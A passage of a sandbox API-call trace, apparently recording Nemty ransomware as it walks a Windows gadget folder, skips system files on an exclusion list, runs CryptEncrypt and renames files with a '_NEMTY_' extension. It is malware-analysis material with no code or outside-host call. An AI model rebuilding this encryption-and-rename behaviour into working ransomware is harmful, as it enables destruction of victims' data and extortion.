(lpString1="rssBackBlue_Undocked.png", lpString2="NTDETECT.COM") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="ntldr") returned 1 [0145.467] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="MSDOS.SYS") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="IO.SYS") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="boot.ini") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="boot.ini") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="ntuser.dat") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="desktop.ini") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="CONFIG.SYS") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="RECYCLER") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="BOOTSECT.BAK") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="bootmgr") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="programdata") returned 1 [0145.468] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2="appdata") returned 1 [0145.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0145.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_Undocked.png", lpUsedDefaultChar=0x0) returned 24 [0145.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0145.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0145.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_Undocked.png", lpUsedDefaultChar=0x0) returned 24 [0145.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0145.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0145.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_Undocked.png", lpUsedDefaultChar=0x0) returned 24 [0145.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0145.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssBackBlue_Undocked.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssBackBlue_Undocked.png", lpUsedDefaultChar=0x0) returned 24 [0145.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0145.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340290 [0145.469] Sleep (dwMilliseconds=0x5) [0145.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa5c9bf0, dwHighDateTime=0x1d561e8)) [0145.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa5c9bf0, dwHighDateTime=0x1d561e8)) [0145.483] GetLastError () returned 0x5 [0145.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.483] GetLastError () returned 0x5 [0145.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.484] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340358 [0145.484] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340358, pcchString=0x653e91c | out: pszString="c5096yYlzzsUcCpu9vu5RbicA1DJbNtP2XialVspgj61CccPuPZXuybZaUcMPvcU\r\nMbPZcMye5mDGBvwt+hDTgtdKF8EcFqy/LA5aNVrCfERcUQHpp9zOwar2EYgrHkRJ\r\neaTLhkSFEwg7hwBUeqxnB0UXThKp0Xasxoa1emSmErSFvg+OdedGE9nHFIdhens/\r\n/asrX1jSe3gtMpq15I9eiO2RCxGvp/VyEiHrbZEVVFFBbuEIeG/j0qp7Hi1uz3L4\r\nGjYs05QVqHqwdIo5NPvH+ZlnfCdPc6YHIz+gH+NCFKlf985w26MIc5IyfYWT7Ya1\r\nj7IX8hrDVi0R+GPsaz9nog==\r\n", pcchString=0x653e91c) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0145.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340358 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.484] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.484] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340358, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.590] CloseHandle (hObject=0xffffffff) returned 0 [0145.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0145.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0145.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0145.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png._nemty_kgobjgd_")) returned 0 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.591] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="..") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="...") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="windows") returned -1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="$RECYCLE.BIN") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="rsa") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="NTDETECT.COM") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="ntldr") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="MSDOS.SYS") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="IO.SYS") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="boot.ini") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="boot.ini") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="AUTOEXEC.BAT") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="ntuser.dat") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="desktop.ini") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="CONFIG.SYS") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="RECYCLER") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="BOOTSECT.BAK") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="bootmgr") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="programdata") returned 1 [0145.591] lstrcmpiW (lpString1="rssLogo.gif", lpString2="appdata") returned 1 [0145.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssLogo.gif", lpUsedDefaultChar=0x0) returned 11 [0145.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 